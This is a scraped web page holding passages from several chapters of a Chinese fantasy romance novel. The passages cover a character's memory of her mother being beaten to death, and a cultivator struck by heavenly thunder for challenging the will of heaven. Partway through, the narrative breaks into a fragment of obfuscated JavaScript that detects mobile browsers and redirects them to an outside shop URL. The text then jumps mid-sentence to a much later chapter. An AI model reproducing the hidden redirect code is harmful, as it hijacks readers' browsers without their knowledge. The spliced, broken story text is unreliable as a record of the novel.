莹莹妈妈感激道:“莹莹和我说了今天晚上的事,还有之前你们帮忙救汤圆的事……我……我都不知道该怎么感谢你们,如果今天你们再晚一点出现,我真的不敢想莹莹会怎么样……” 李碧桃看着眼前女人含泪和他们道谢,一只手紧紧搂住女儿的肩膀,将小莹莹搂在自己的怀里。 李碧桃的视线落在莹莹肩头,默默看着她妈妈搂着她的那只手,沉默半晌,终于开口道:“莹莹……很幸运……” 女人错会了李碧桃的意思,十分感激道:“是,莹莹很幸运,能遇到你们,到底是我的错,把孩子留在那个畜生的身边,差一点,差一点我就害了莹莹。” 说着,女人压抑不住哽咽,眼眶蓄满的泪水滴落,顺着脸庞滑下,最终落在白色的T恤上,白色的布料上绽放一个小小的、半透明的圆圈。 莹莹的脸上还有巴掌的印记,但忽闪的大眼睛里满满的笑意,再不是当时出现在基地门口时惊慌失措的样子。 李碧桃收回视线,看向垂泪的女人,低声道:“莹莹的幸运不是遇到我们,是因为她有你这样的妈妈……你没有错,暂时抛下莹莹没有错,保护自己没有错。莹莹很幸运——她的妈妈,至少懂得保护自己。” 女人怔了一瞬,自从离婚以来,她无时无刻不在担心莹莹,时间长了这种担心渐渐演变成一种自责,快要将她吞噬。 尤其是在看到莹莹被那个畜生打成这个样子,更是无比后悔,早知道她走之后,那个畜生会对莹莹下手,她当时就应该再坚持坚持,多熬一段时间,带莹莹一起走。 可现在,李碧桃的话,却告诉她,她没有错…… 一时间,女人压抑许久的委屈似是憋不住了一般,对着面前这个明显比她年轻许多甚至还没经历过婚姻的李碧桃倾诉道:“那个畜生……他根本就不是人,他和他妈一起欺负我,稍有不顺就拳打脚踢……我、我也是被他们打怕了,他们按着我打,我连还手都还不了……我真怕自己死在他们手上,这才抛弃莹莹,非要离婚的……” 女人浑身都在颤抖,只好更加用力的搂住女儿,将瘦小的莹莹作为她单薄身体的唯一支撑,她抬手抹了把眼泪,道:“我以为莹莹至少和他们有血缘关系,他们不会真的对莹莹动手的,我真没想到……” 莹莹怀里的汤圆似乎也感受到了女人的不安好悲痛,使劲儿往莹莹小小的怀抱里钻,莹莹想要安慰自己的妈妈,但年幼的她因为语言的匮乏找不到合适的话语,只是低声喊着“妈妈”。 李碧桃看着互为支撑的母女,一时间竟生出几分羡慕来。 莹莹真的很幸运,她的妈妈保护了自己,也保护了莹莹。不像……那个女人。 怎么就那么傻,那么傻,死守着不肯走,硬生生挨着也不会闪躲,直到—— 莹莹妈妈搂着女儿的手轻轻拍了拍女儿的肩膀,安抚道:“妈妈没事儿,妈妈就是……太高兴了,以后能带着我的莹莹,我们以后都能过上好日子了。” 李碧桃感觉自己心脏在一下下紧紧地收缩,呼吸都有些不顺畅了,她深吸一口气,小心翼翼地问道:“我……能抱抱您吗?” 闻言,夏琪和白絮飞看向李碧桃。 夏琪只以为李碧桃想安慰这对母女,没有多想。 而白絮飞的眼底,却闪过一抹异样情绪。他眸光半敛,眼中满是疼惜。 天罚加身,人世轮回,以赎罪孽…… 这一世世的轮回……想来必然不会好受…… 白絮飞隐约猜到什么,一言不发,深邃的双眼里,只有李碧桃小小的身影。 莹莹母亲没有多想,只是以为李碧桃同情她们母女,点了点头。 李碧桃猛地上前,紧紧抱住了眼前的女人。 这一刻,她仿佛跨越了那不可逆转的时间长河,回到了那个充满绝望和血腥的阴森夜晚,抱住了那个在恶魔拳头下瑟瑟发抖的女人。 你看……妈妈……我抱住了你…… 你看……妈妈……我替你挡下了拳头…… 你看……妈妈……你没有事…… 莹莹的妈妈感觉自己的肩膀似乎有些温热的湿润,愣住片刻,一只手牵着莹莹,另一只手抬起,搂住了李碧桃单薄而轻轻颤抖的背脊。 时间已至凌晨,莹莹妈妈尽管心怀感激,但也不好一直打扰他们休息,还有莹莹脸上的伤,她也忧心记挂着。 于是,莹莹妈妈带着莹莹,没有在基地多留。 白絮飞和白豆豆一直护送她们离开城中村,在迈出城中村的那一刻,莹莹妈妈回头看了眼这个笼罩在夜色中,被城市发展丢下的小村子,随后毅然决然地转回头,和白絮飞白豆豆道谢告别后,上了提前叫好的车。 车子向前行驶,这个困住她将近十年的小村子一点点倒退,终于再也追赶不上她们乘坐的车了,就此淹没在城市的高楼里。 时间太晚了,夏琪没有回家,就留在基地里和李碧桃挤在一张床上。 虽然莹莹和她妈妈已经走了,基地里重又陷入一片宁静,但两个人的睡意并不浓。 夏琪的家里虽然不富裕,但夏琪爸妈的感情却十分好。 夏琪还清晰地记得,在她小时候,她爸爸将她妈妈给的零花钱攒了许久,连夏琪妈妈给他让他买个手套的钱都攒了起来,自己就带着那个漏手指头的破手套,最后在那年夏琪妈妈生日那天,送了自己妻子一枚小小的、纯金的戒指。 后来夏琪和王颂阳结婚后,两人的日子虽然算不上大富大贵,但王颂阳对她也是百般呵护,对她想做的事无条件支持。 在充满爱的家庭中长大 17. 玄都 《流浪狗与桃花妖[前世今生]》全本免费阅读 凌晨三点多,整个城市依旧笼罩在深深的夜色中。 李碧桃小心翼翼地掀开被子,确定没有惊醒夏琪后,垫着步子悄无声息地走出卧室。 楼梯没有安灯,于是李碧桃打开手机的手电筒,凭借手机的光亮下了楼。 虽然已经是夏季,但凌晨三点多气温正低,李碧桃下楼前顺手将挂在卧室门口的薄外套拿了下来,套在了身上。 她轻轻推开一楼的门,走到门外入门的台阶上坐下,仰头看着夜空璀璨的星光。 凌晨的风很凉,露水打湿了小院的地砖,地砖缝隙里飘出淡淡的泥土味。可李碧桃对这一切都有些无知无觉。 或许是这一方小院和当年郊区村子里的“家”有些相似。 又或许,是莹莹妈妈和她记忆深处的那个女人太像了的缘故,总之,这一切的一切,不可避免地唤醒了她那段早已经尘封在悠悠岁月里的回忆。 本来已经过去了十几年了,她以为自己早就淡忘了,可直到今天她看见莹莹妈妈的那一刻,李碧桃才知道,那些事,她永远也忘不了。 那时她和莹莹现在差不多大,按理说人七八岁的事情记得不会很清晰,可那些画面实在是太过深刻、太过强烈,如刀刻斧凿般将那一幕幕血腥的画面刻在她脑海深处,让她想忘都忘不掉。 其实,李碧桃现在已经没有很想她了,就是特别想见一见她,问一问,当时……她疼不疼…… 拳头砸在身上的时候,五官被打到扭曲流血的时候,究竟……有多疼…… 在寒凉的夏夜里,李碧桃感觉自己被拉入了那个十几年前的夜晚,思绪在那个黑暗的深渊里转着圈,任凭她怎么努力都走不出来。 天上星光璀璨,那些星星不规则的排序,组成了各种各样的图案。恍惚间,李碧桃觉得,她好像看到了那个女人的脸。 好像即使天人永隔,即使她的脸已经在脑海里模糊了,她却依然在笑。 滚烫的鲜血从头顶流下,经过眼角、脸颊,一路蔓延到脖颈……而她的唇角却弯起一个微小的弧度,噙着浅淡的笑意。 这是她留给李碧桃,最后的印象。 李碧桃沉浸在漫长的回忆里,连基地小院的门被人推开都毫无察觉。 忽然,一只手覆上她的双眼,温热的掌心盖上了从她眼中滑落的冰冷液体。 白絮飞静静地站在她身边,单薄的手掌遮住了她的双眼,静静地感受着掌心那一片湿热。 不知道过了多久,李碧桃觉得自己的两只眼睛十分干涩,干涩到,似乎已经没有泪水了。 她抬手握住白絮飞的手腕,将他的手拉下来,扯出一个笑来,问道:“你怎么这么晚还不睡?” 白絮飞挨着她坐下,反手将冰凉的手指贴上她肿胀发热的眼皮,温声道:“你见到莹莹妈妈的时候,有些不对劲。” 又想起她之前第一次见到莹莹时,那片刻的失态,白絮飞隐约猜到了大概,心里记挂着她,于是便站在馄饨店的窗前注视着旁边的基地小院。 直到他看到基地门口亮起一抹亮光,他不放心的到小院门口看了一眼,发现了独自坐在台阶上的李碧桃。 李碧桃拉下他的手,双手用力一抹眼睛,竭力轻松道:“是不是哭的很难看?你最好不是因为颜值喜欢我的,不然你会觉得你上当受骗了。” 白絮飞却笑不出来,只是专注地看着她道:“不难看……” 她从来都是好看的。 好看到,从他见她的第一眼起,他便知此后生生世世,就再也挪不开眼了。 李碧桃长相极美,是那种但凡谁看一眼,就不可能忘记的漂亮。虽然她不太把自己的颜值当回事儿,平日里也不喜欢打扮自己,但即使她只穿T恤长裤,但凭着那明媚完美的脸庞也丝毫不会让人觉得朴素。 她五官精致到如同是世间最好的画师精心勾勒出来的一般,张扬耀眼、摄人心魂。 李碧桃本想开几个玩笑活跃一下气氛,掩盖过去刚才的失态,可看着白絮飞认真的神色,终于像是撑不下去了一般塌下肩膀。 基地小院里,重又陷入一片长久的宁静。 白絮飞也不急,只是静静地坐在她身边,一言不发地陪着她。 良久,李碧桃转头将视线落在小院破旧的院墙上,盯着院墙上一块将落未落的墙皮放空意识,她的声音,就这样低低的飘散在夏夜的晚风里。 “我从小是在孤儿院长大的,平州市红日孤儿院。我像莹莹这么大的时候,我妈妈被我父亲打死了,他也为他的行为付出了代价,从此我就没人管了。” 她的声音很轻,如果不细听甚至感受不到那隐藏在她颤抖的声线里不易察觉的情绪。仿佛此刻她讲述的,不是身为李碧桃的悲惨身世,而只是一件无关紧要的小事一般。 “我妈妈……其实我已经记不清她长什么样子了,我那个时候不到八岁,我只记得,我妈妈总是挨打。至于因为什么原因挨打,我都不记得了,只能记得她一次次被那个混蛋骑在身上揍。” “我小时候养过一只狗,黑色的,不是什么名贵品种,它叫皮皮,是我妈妈给我捡来的……因为捡皮皮,那个混蛋还打了她。那个混蛋不让我们养皮皮,我们没办法,不能养在自己家院子,我妈妈就把皮皮放养在我们当时住的那个村子里,平时妈妈会偷偷喂它一点剩饭剩菜什么的。” “后来,那个混蛋发现了,他当天就宰了皮皮吃肉。我妈妈阻止他,他狠狠地打了我妈妈好多好多下,我拼命拦着,我拦着他杀皮皮,拦着他打妈妈,可是根本拦不住……” “皮皮死了,妈妈也挨了打,他逼我妈妈把皮皮做成菜,又让我去给他买酒。” “就是那一天晚上,他喝了很多酒,之后变得像一个疯子一样,骑在我妈妈身上,一边骂,一边打……” “后来,我就被送到了平州红日孤儿院,长到了现在。” 说完,一直含在李碧桃眼中的水珠终于掉了,和这些黑色的过往一同掉在地上,无声无息地摔碎了。 李碧桃转过头,含泪看着白絮飞,一字一句道:“白絮飞,我真的觉得莹莹很幸运,她的妈妈保护了自己,也保护了她。可是我没那么幸运,我妈妈没能保护好自己,我也没有保护好她,她死在了我面前……我当时甚至没有扑上去替她挡一挡,就那么眼睁睁地看着……看着她死在了那个人渣的手里。” “我就眼睁睁看着 18. 界门 《流浪狗与桃花妖[前世今生]》全本免费阅读 李碧桃看着红雨越走越远的身影,不知道为什么,李碧桃很想喊住她。 “红雨,不能走……” 晕倒在白絮飞怀里的李碧桃喃喃出声。 闻言,正准备将李碧桃抱回馄饨店的白絮飞顿住了,他停下了所有的动作,连呼吸声都有所收敛。 白絮飞只想让此刻的小院更静一些,生怕自己听错了一个音节。 “红雨,不能走……” 这一次,白絮飞听清了她的话。 白絮飞下意识收紧双臂,将人紧紧地搂在怀里,可又怕抱的太紧弄疼了她,只好小心翼翼地放松力道。 可若是抱的松了,却怎么都觉得不安心。 紧不得,松不得。 一时间,白絮飞竟然有些无所适从。 凌晨的小院一片寂静,只有他们两个人。 白絮飞抬手掐了个诀,修长干净的指尖萦绕着白色法印,那印文形状奇怪,有些像变形后的梵文。 他缓缓抬手,将指尖法印轻轻地贴到李碧桃的后颈,那法印就如同活的一般,在接触到李碧桃后劲皮肤的刹那主动钻了进去。 法印完全进入李碧桃的身体,那个小小的白色光芒消失,白絮飞无力地垂下手臂。 这是一个安魂术法,红雨的魂魄正在聚集恢复,正是脆弱不稳的关头,此时碧桃大喜或大悲的强烈情绪都会对本就脆弱的魂魄造成冲击。 安魂术法的作用,就是安抚碧桃过于激烈的清醒,保护她正在修复的魂魄。 白絮飞刚刚结印的右手垂在地上微微颤抖,他到底是一介凡人,没有仙骨,即使术法理论修习再精妙,可终究法力微弱,连调用一个个小小的安魂术法竟都如此艰难。 白絮飞一只手揽着李碧桃,恢复了良久,终于有了些力气。 他弯腰将人抱起,一步步向馄饨店走去。 白豆豆睡得正沉,听到楼下开门的动静儿,耳朵敏锐地动了动,然后蹭地起身。 他屁颠屁颠地跑下楼,就看到白絮飞抱着李碧桃走了进来。 白豆豆长大了嘴巴,不可思议道:“哥……你把我桃子姐姐……绑架了?” 白絮飞没有心情和他贫,抱着李碧桃上楼走到他卧室的门口,看了眼旁边一脸好奇的白豆豆道:“开门。” “哦。”白豆豆连忙打开房门。 白絮飞弯腰将人放到自己的床上,替她盖好被子。 白豆豆这时也看出了不对劲。 李碧桃虽然看起来像是睡着了,可眉头却紧紧地锁着,额间沁出一层薄薄的汗。 像是陷在了噩梦中一样,整个人透露出极大的不安。 白豆豆问道:“哥,桃子姐姐这是怎么了?出什么事了吗?” 白絮飞轻声解释道:“碧桃的情绪波动冲击了正在修复的魂魄,魂魄震荡,一时陷入昏迷。” 白豆豆不知道具体怎么回事儿,只是听起来感觉很严重的样子,“那怎么办?桃子姐姐……会有事吗?” 说完,白豆豆又在自己嘴巴上拍了两下,“呸呸呸,我乱说的,桃子姐姐不会有事的。” 白絮飞看了他一眼,和他离开了卧室。白絮飞轻轻带上了卧室的门,对白豆豆交代道:“碧桃不会有事,睡一觉就好了。我走后你变回富贵的样子,守在碧桃身边,在她自己清醒之前,别让人打扰她。” “好的!”白豆豆答应完,才意识到什么不对劲,“哥,你说你要走?你要去哪儿?” 不知道为什么,白豆豆特别不喜欢听到白絮飞说他要走,心里莫名觉得不安。 白絮飞没有解释,只是道:“我要去弄清楚一些事情,很快回来,在我回来之前,保护好碧桃。” 白豆豆察觉到白絮飞不想多说,乖乖地点了点头。 交代清楚后,白絮飞没有多留,还没等到天亮,就离开了馄饨店,临走前,拿了两张符纸和一些物件儿。 白絮飞沿着城中村的小路一路向东走。 不知走了多久,他来到了一个在平洲市根本找不到的地方。 白絮飞脚下的道路不再是城市的沥青路面,而是铺满了落叶的土路。 虽是土路,却格外平整干净,不见一丝尘土。道路两旁,是整整齐齐的两排树,这树生的古怪,树叶并非常见的绿色,而是五彩纷呈的彩色树叶,乍一看去像是开满了花一样。 他的身后,也不是城市的高楼大厦,而是一片金黄色的光芒,像是太阳光,可如若他回头看就会发现,他的身后根本没有太阳,只有那突兀的、不知来自何处的亮光。 白絮飞自知到了地方,停下了脚步,抬头看去。 眼前就是这彩色林荫路的尽头,一左一右两座大山,两座山高耸入云不见山顶,中间隔着一段间隙,足有千米之宽,看起来,就像是一个敞开的门。 低低压下来的云层泛着彩光,照着那两山之间的千米间隙。 这,就是界门。 人世间界门有两处,往西走通冥府,见鬼魅阴差,称鬼门;往东走通天京,见神仙修士,称天门。 白絮飞看着眼前大开的天门,微微眯了眯眼。 不知何时,白絮飞身上已不再是他平日穿得衬衫西裤,而是那一身纯白无尘的长袍,利落短发也不知道什么时候变成了那半束的长发。 他捏紧了指尖,思索着。 红雨当年早已攒够了功德,闭关修行亦是为了以功德洗清一身妖气,以入仙门。 红雨的确造了杀孽,但罪过远远不足以引来天罚加身。 天罚加身的人、妖、仙、神,即使是来人间轮回洗清罪孽,也必会世世艰难,历经人间苦难,世世不得善果。 其中,犯得罪孽越大,轮回次数越多,时间越长,轮回时便越艰难。 红雨当年所杀之人乃是一个邪修,那人修习禁术,残害生灵无数,即使红雨刚刚洗清妖气不该沾染血腥,可也不应罪深至此。 人间七世轮回…… 白絮飞闭了闭眼,稳住心神。 他原本以为,红雨背负的罪责并不严重,即使是人世轮回也应是上好的命格。 生之顺利,老之自然,无灾无病,平安百岁,少别离,无怨憎,诸事如意…… 可他如今才知,为何碧桃的命格竟如此艰难? 如若是因为此乃红雨归来的最后一世轮回,因此苦些,倒也不算怪异。 可……白絮飞害怕,她轮回七世……七世皆苦。 白絮飞从宽袖中拿出一串珠串,和两张符篆。 19. 七世 《流浪狗与桃花妖[前世今生]》全本免费阅读 李碧桃领着富贵回基地的时候,夏琪已经喂完了基地的毛孩子们,见她带着富贵进屋,夏琪随口问道:“你上午去哪儿了,我起床的时候你人就没影儿了。” “我……出去办了点事儿。”李碧桃没说她昨天晚上就出去了的事,随意含混过去。 她家里的事情夏琪并不知道,她也从来没有和夏琪说过。 那些事儿怎么看怎么闹心,让夏琪知道了也是平白惹她跟着难受,不如不提的好。 夏琪也没有多问,只是招呼着李碧桃过去吃午饭。 李碧桃在基地客厅环视一圈,发现白絮飞他们也不在基地,问道:“白絮飞和白豆豆,今天没来基地吗?” “没有啊,我还奇怪呢,怎么今天基地就我一个人。” 自从白絮飞和白豆豆加入基地后,基地里已经很久没这么冷清过了,一时间,夏琪自己都有点儿不适应。 李碧桃笑了笑坐下吃饭,也有些纳闷儿。 白豆豆不在基地倒也正常,他似乎学校经常有事,一般富贵从狗狗幼儿园回来之后他就走了。 倒是白絮飞,自从加入基地后,几乎没有一天不过来的。 不知怎的,李碧桃恍惚间生出一种强烈的不安感,没缘由地感到心慌。 “嘶……” 正吃着饭,李碧桃突然放下碗筷,两只手交叠死死按住心口,脸一瞬间白了。 一旁的夏琪也吓了一跳,急忙问道:“怎么了?身体不舒服?桃子?” 李碧桃一时间有些说不出话来,心口很疼、很疼,如同被电击一般。 见她这样,夏琪也吃不下去饭了,立刻放下碗筷凑到她身边,一只手在她后背上一下下顺着摩挲。 “桃子,你这是怎么了?噎着了?你脸色不对啊!”夏琪的声音愈发不安。 半晌,就在夏琪要去打急救电话的时候,李碧桃一把扯住了她,重重地缓了口气道:“我没事儿,刚才不知道怎么了,心慌得厉害。” 夏琪不放心道:“桃子,你没看见你刚才有多吓人,脸一下子就白了,要不明天咱去医院检查一下吧,别是身体有什么毛病。” 李碧桃一只手仍然按在心口上,那种类似于电击的抽痛感已经消失了,仿佛刚才只是她的错觉一般。 她感觉自己身体没什么问题,笑了笑道:“放心,身体应该没问题,可能就是一时岔气了。” 夏琪见她恢复了正常,松了一口气坐回椅子里,叮嘱道:“你刚才捂的可是心脏,岔气还能岔到心脏去?桃子,虽然咱基地没啥钱,但也不至于有病不看硬拖啊,你千万别因为心疼钱不去医院。” 提起钱的事,李碧桃下意识摸了摸脖子上一直戴着的红布符篆,她笑了笑道:“下次,再有下次,我一定立刻去医院。” 饭后,李碧桃和夏琪两个人趁着天好,把一些装备搬到小院里支着的户外遮阳伞下,把基地里毛长的毛孩子们挨个抓过来理发。 平州温度不算低,到了七月份白天都要三十度往上,基地里毛孩子又多,风扇空调制冷效果有限,怕那些毛长的小家伙们太热,两人一到夏天就给它们理发。 去宠物店找专门的人给理发做造型实在是太贵了,基地里这么多只毛长的,实在是用不起,于是李碧桃和夏琪干脆自己学了学,亲自上手。 虽然理完发的效果和人家宠物店专业的肯定是比不了,但也还不错,美观和清凉之间至少能做到清凉。 轮到大傻了。 李碧桃和夏琪把大傻围在中间,一本正经的讨论。 夏琪:“直接用推子剃光,还是一点点剪短呢?” 李碧桃:“要不,剪短?” 夏琪:“大傻体格大,怕热啊,剪短不利于散热吧。” 李碧桃:“那直接剃光。” 夏琪:“大傻身体不好,也怕凉,剃光容易着凉吧。” 李碧桃想到了两全的办法,道:“后背的毛直接剃光,肚皮的毛剪短。” 夏琪抬手给她比了个赞,赞同道:“好办法!” 于是两个人开始动手。 剪到一半,小院隔壁馄饨店门口的位置突然传来一阵声响,嘭地一声,就像是有什么东西落地的声音。 李碧桃拿着剪子的手一抖,剪歪了一点儿。 她放下剪子,和夏琪对视一眼,问道:“什么声音?” 夏琪皱眉想了想,“不知道,好像隔壁馄饨店传来的。” 李碧桃拍了拍手上粘的狗毛,转身往小院门口走,“我去看看,应该是白絮飞和白豆豆回来了。” 夏琪点点头,接着给大傻理发。 李碧桃推开小院的铁栅门,探头向馄饨店方向看去。 一道瘦长的身影靠坐在馄饨店的玻璃门前,像是晕过去了一般,头无力地靠在玻璃门上,四肢仿佛都没了力气。 李碧桃快步走上前去,蹲到那人身旁,轻轻拍了拍他的肩膀,试探着喊了一声,“白絮飞?” 白絮飞倒是没有真的昏过去,只是身上没了力气,如同病重之人那般浑身虚弱,听到李碧桃的声音,他极为艰难地睁开眼,刚要扯出一个安抚的笑,唇角刚刚勾起,他却立刻偏过头去闷闷的咳了几声。 他本就生的白皙,此刻脸上更是没有一丝血色,看起来竟显出明显的病态。 李碧桃压下心底的异样,隐约觉得他现在的样子和今天上午他无故消失有关系,李碧桃问道:“你怎么了?生病了吗?我中午在你家醒来的,一天都没看见你,你去办什么事了吗?” 白絮飞的闷咳终于止住了,他想笑一笑,让她别担心,可此刻看着眼前的人,却怎地都笑不出来了。 七世轮回,七世皆苦。 生之艰难,少无所依,一生颓唐,不得善终…… 轮回七世,世世如此。 玄都修仙问道三百年,三百年来从未质疑过天道半分,可在他得知红雨这七世的遭遇后,他做了一件大大不敬的事。 闯入天京,在满天神佛面前,质问天道不公。 凭什么? 凭什么红雨因为斩杀一个邪修,要背上如此沉重的天罚? 凭什么红雨要轮回七世,七世皆苦。 不得善终……不得善终…… 究竟是谁该不得善终! 李碧桃看着白絮飞颤着手抚上她的脸,抬眸对上他那向来温润含情的双眼,此刻似乎隐约泛着水光。 他嘴唇轻动,似乎问了她一句话。 但是他声音太轻了,李碧桃没有听清楚。 她凑近了些,问 20. 天道 《流浪狗与桃花妖[前世今生]》全本免费阅读 虽然李碧桃只当他说的“舍不得”是句玩笑话,但她回去拿感冒药的时候还是不自觉加快了动作。 正在独自给大傻理发的夏琪见她匆匆忙忙地赶回来,直奔屋里跑,扬声问了一句:“怎么了?是白絮飞和白豆豆回来了吗?” 李碧桃急着进屋拿药,匆匆留下一句:“对,白絮飞回来了!” 说完,人就已经跑到屋里去了。 等她拿完药出来,夏琪才逮到机会又问道:“你着急忙慌地干嘛呢?” 李碧桃挥了挥手里的感冒药,道:“白絮飞感冒了,给他送药。” 夏琪点点头道:“感冒了就先别急着来基地帮忙了,反正基地活儿也不多,让他好好休息吧。” 毕竟人家目前是基地的金主,夏琪觉得怎么也不好把金主累坏了。 “好,我告诉他一声。”说完,李碧桃接着往前走。 她都已经走出小院了,听见身后小狗的“呜呜”声,她一回头,看见富贵扒着铁栅门也要跟着出来。 李碧桃一挑眉,回身给它开门,自言自语道:“你这是听懂你主人生病了?小富贵儿还怪暖心的。” 李碧桃领着富贵回到馄饨店,把药交给白絮飞,眼看着他就着水吃了药。 她看着白絮飞脸色苍白,不停闷咳,连肩膀都在颤抖。 李碧桃皱了皱眉。她很不喜欢看到他这么虚弱的样子,还是平时健健康康的好。 白絮飞见她愁眉苦脸地看着自己,他竭力压抑住咳嗽,问道:“怎么了?一脸不高兴。” “你这……”李碧桃控制了一下自己的表情,道:“你这突然一感冒,看起来都弱不禁风的了,还怪让人着急的。” “心疼我了?”白絮飞勾唇一笑,半开玩笑的逗她。 不料,李碧桃却上前一步,直接上手把他按到被子里裹好。 虽然正是盛夏,但李碧桃就是觉得他冷。 感觉他穿着件单薄的白衬衫,看起来整个人都在瑟瑟发抖似的。 忙完,李碧桃满意地拍了拍他身上的被子,十分坦诚道:“对呀,怎么说你也是我……那个、男朋友嘛,我不心疼一下,那显得我多没心没肺啊。” 被裹成蚕蛹的白絮飞无奈笑笑,“行,心疼好,显得你重情重义。” “那是……”李碧桃得意笑道。 俩人就这么你一句我一句的闲聊着,富贵在卧室门口急的一连转了好几个圈。 它隐约感觉到,白絮飞不对劲。 非常不对劲。 虽然它不知道他到底怎么了,但富贵……或者说白豆豆,他现在非常清楚,白絮飞现在绝对不是普通的感冒。 俩人正说着话,白絮飞突然又是一阵咳嗽。 这次咳的格外猛烈,好半天都停不下来。李碧桃扶他坐起来,替他拍了拍背,但依旧没有缓解的倾向。 李碧桃有些急切问道:“怎么回事儿?一个感冒怎么会这么严重,要不还是去医院吧,万一是肺炎什么的怎么办?” 白絮飞单手握拳抵在嘴边,趁着李碧桃没注意到,迅速抬起另一只手,拇指在胸前点了一下。 咳嗽终于止住了。他缓缓躺下,扯出一抹笑来,道:“放心,就是感冒……我小时候得过肺炎,一感冒就特别容易咳嗽,睡一觉就好了。” 李碧桃松了口气,“我说的呢,怎么咳嗽的这么吓人。” “别担心,我先睡一会儿,你要是有事先去忙,等我好了就去基地找你。”白絮飞依旧温柔地看着她,虽然话里话外隐约有撵人走的意思。 李碧桃也听出来了,只当是他生病不舒服想休息,也没太在意,随口道:“刚才还说舍不得我呢,真不用我陪你了?” “我一会儿睡着了,你一个人该无聊了。”白絮飞温声解释道。 “行叭,那我走啦,让富贵陪你吧。” 李碧桃起身,给他床边又放了杯水,转身放心地走了。 听到楼下传来关门的声音,确定她走了之后,白絮飞刷地掀开被子,重重地咳了一声后,一口黑血喷到了地上。 ——就在刚刚李碧桃站过的位置。 门口的富贵瞬间变成人形,快步走上前来。 “哥!你这是怎么了?” 白絮飞单手撑在床头柜的边上,抬起另一只手擦了擦唇边残留的血迹,双唇之间一片殷红。 他看着指尖的血迹,一时间说不出话来。 就在白豆豆刚要张嘴问他到底怎么回事的时候,白絮飞又是一口黑血喷了出来。 这次血量有些多,顺着嘴角流到了下巴上,一时间,白絮飞整个人显得无比狼狈。 这场景,可把白豆豆吓坏了。 他甚至下意识想学着白絮飞以前救它时的样子,抬手捏个法诀出来,可刚一抬手,才想起来他根本不会,只能急得看看地上的血迹,又看看白絮飞。 白絮飞缓了许久,才恢复了说话的力气。他有气无力道:“是天雷。” “天雷!”在现代人类社会生活了数年的白豆豆,一提起天雷,想到的就是他妈妈原来带着他看的那些电视剧。 白豆豆惊喜问道:“哥!你飞升了?!” 白絮飞抬眼看他一眼,否认道:“不是。” 他耐着性子解释:“是惩罚。” 白豆豆:“???” “惩罚?哥,这是谁干的?凭什么惩罚你?” 白絮飞的整个后背都在隐隐刺痛,那种疼蔓延到五脏六腑,一下下抽痛。 这种疼法很奇怪,它不会让你明确地感受到究竟是哪个部位在疼,也不让你一直疼。而是模糊地疼遍全身,一阵猛烈的疼痛过后,在人刚要喘口气时,就会迎来下一阵疼痛。 这是惩罚,也是提醒。 就是要让你记住这种感觉,下次不敢再犯。 白絮飞单手撑住肩膀,竭力压抑这种疼痛,苦涩道:“天罚。我擅闯天京,质问天道,才三道天雷,已经是天道仁慈了。” “啊?” 白豆豆吓了一跳。 自他化形之后,在白絮飞的督促下也看了些术法典籍,虽然算不上精通,但对整个天道体系运转法则也有了大概的了解。 所以白豆豆清楚,他哥这是干了一件多么大逆不道的事。 “哥……你好端端地去……去天京,质问天道?”白豆豆不能理解。 他本是妖,最是敬畏天道法则。 虽说他哥本质是位修士,可别说紧紧是个没位列仙班的修士了,就算是已经渡了天劫,一朝飞升,哪怕已然封神,也不能冒犯天道威严啊! 半晌,白豆豆想起李碧桃晕倒的事。 前脚桃子姐姐刚晕倒被他哥带回来,后脚他就去质问天道了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941618|122800||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。 她沉默了许久,开口问了一句:“乔家的这对父子,目前大概多大年纪?” 道初:“乔父应该六十岁左右了,集团的一个老员工说过,二十多年前,乔父是三十多岁的时候接手集团的,具体数字他不清楚,我们也只能估算。至于乔家的这个儿子,倒是没有关于他年龄的准确线索,只是赵氏集团的一个经理人提过,和他电话联系的时候从声音里能听出来,是个很年轻的人。” “六十岁左右……”红雨回想着之前见到的赵生慈,道:“赵生慈现在……也是一副六十岁左右的老人形象。” 闻言,几人一怔,玄都偏过头问道:“你是怀疑,赵生慈给自己伪装的身份,就是这个乔父?” 红雨点头,道:“最好能有照片,或者亲眼看一看这个乔父的长相才好。”她抬头问道:“有没有可能查到他现在的住处?” 反正她现在法力恢复了,虽然比不上最强的时候,但是只要查到住处地址,她随便变个飞鸟蚊虫的进去看上一眼倒也不算什么难事。 昭冥思考片刻,道:“住处房产之类的,倒是能查,只是万一这个姓乔的真是赵生慈,你们亲自去看,恐怕有些危险。” 红雨:“那倒没关系,上次我和他交手时,感觉他应该是出了什么问题,法力大不如前,就算真是他,也伤不到我。” 红雨没说出来的是,如果真是他,说不定她可以直接将这三百年间的恩怨是非一并清算。 道初转头看向玄都,在看到玄都微微点头后,才道:“好,我和昭冥回去再查一查他的住处。对了,还有那个变态团伙,玄都,你说的线索是?” 玄都将从陈彪处拿来的手机递给道初,道:“是这个。” 红雨补充道:“这个手机里有他们中的一些成员的联系痕迹,顺着这些痕迹,可以摸出这个变态团伙的大部分人。” 其实这些红雨本想自己查的,只是这手机里的很多数据都被删除了,她找不回来,只能找专业人士来查,而道初和昭冥在人间的身份就是一个互联网公司的老板,交给他们最为可靠。 而且,因为不知道这个团伙究竟有多少人,都在什么地方,她和玄都两个人也忙不过来,也需要道初和昭冥两位师兄的协助。 道初接过,收好,问了一句:“找到这些人之后,打算怎么处理?” 红雨眸色暗了几分,下定决心道:“釜底抽薪吧,与其一次次规劝阻止,不如从源头入手,直接断了他们作恶的念头。” 昭冥坐直了身体,神色认真,看了看玄都,又看了看红雨,半晌,才犹豫着问道:“是……直接杀了?” 虽说这样解决的的确彻底,可……不太好吧。 不过想起三百年前红雨出手时的干脆果决,昭冥又觉得这倒像是红雨的风格。 谁知,他此话一出,玄都、红雨,还有他的大师兄道初,都用一种意味不明的眼神看向他。 昭冥琢磨了一番,觉得这种眼神,有点儿像是在看傻子。 最终,还是道初拍了拍他的肩膀,叹了口气,道:“我猜,应该是抽魂吧……抽一部分,剥离恶意歹念的那种。” “……”昭冥道:“我知道!” 65. 遗嘱 位于平州市西北角,距离平州市两百公里左右,有一个小镇子。 